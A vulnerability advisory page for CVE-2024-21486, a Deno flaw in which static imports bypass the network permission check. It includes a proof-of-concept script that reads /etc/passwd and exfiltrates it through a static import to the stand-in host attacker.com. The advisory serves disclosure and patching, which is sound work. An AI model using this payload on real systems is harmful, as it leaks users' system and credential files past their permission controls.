CVE-2024-21486: Deno vulnerable to Exposure of Sensitive Information to an Unauthorized Actor
Summary Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network. Details Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with deno run: 1.
Published Jun 5, 2025
Affected packages
deno
- Ecosystem
- Rust (crates.io)
- Affected
- < 2.0.0
- Fixed in
- 2.0.0
- Check
cargo tree -i deno
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Static imports are exempted from the network permission check. An attacker could exploit this to leak the password file on the network.
Details
Static imports in Deno are exempted from the network permission check. This can be exploited by attackers in multiple ways, when third-party code is directly/indirectly executed with deno run:
- The simplest payload would be a tracking pixel-like import that attackers place in their code to find out when developers use the attacker-controlled code.
- When
--allow-writeand--allow-readpermissions are given, an attacker can perform a sophisticated two-steps attack: first, they generate a ts/js file containing a static import and in a second execution load this static file.
PoC
const __filename = new URL("", import.meta.url).pathname;
let oldContent = await Deno.readTextFile(__filename);
let passFile = await Deno.readTextFile("/etc/passwd");
let pre =
'import {foo} from "[https://attacker.com?val=](https://attacker.com/?val=)' +
encodeURIComponent(passFile) + '";\n';
await Deno.writeTextFile(__filename, pre + oldContent);Executing a file containing this payload twice, with deno run --allow-read --allow-write would cause the password file to leak on the network, even though no network permission was granted.
This vulnerability was fixed with the addition of the --allow-import flag: https://docs.deno.com/runtime/fundamentals/security/#network-access
Credited to cristianstaicu, vdata1.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Rust (crates.io) vulnerabilities
All Rust (crates.io) entriesCVE-2026-55517
Deno: Denial of service via non-ASCII bytes in WebSocket response headers
medium4.3Jun 17, 2026CVE-2026-49401
Deno: Permission Bypass via Unicode Normalization Mismatch on macOS (APFS)
high7.3Jun 16, 2026CVE-2026-49402
Deno: Command Injection via spawnSync & spawn on Windows
high8.1Jun 16, 2026CVE-2026-49406
Deno: BYONM module resolution allows `package.json` main path traversal to bypass `--allow-read` restrictions
medium5.5Jun 16, 2026CVE-2026-49411
Deno: Node TCPWrap numeric hostname aliases bypass --deny-net resolved-IP deny checks
medium6.5Jun 16, 2026CVE-2026-49440
Deno: Miller-Rabin Primality Test Allows Zero Rounds
high7.4Jun 16, 2026
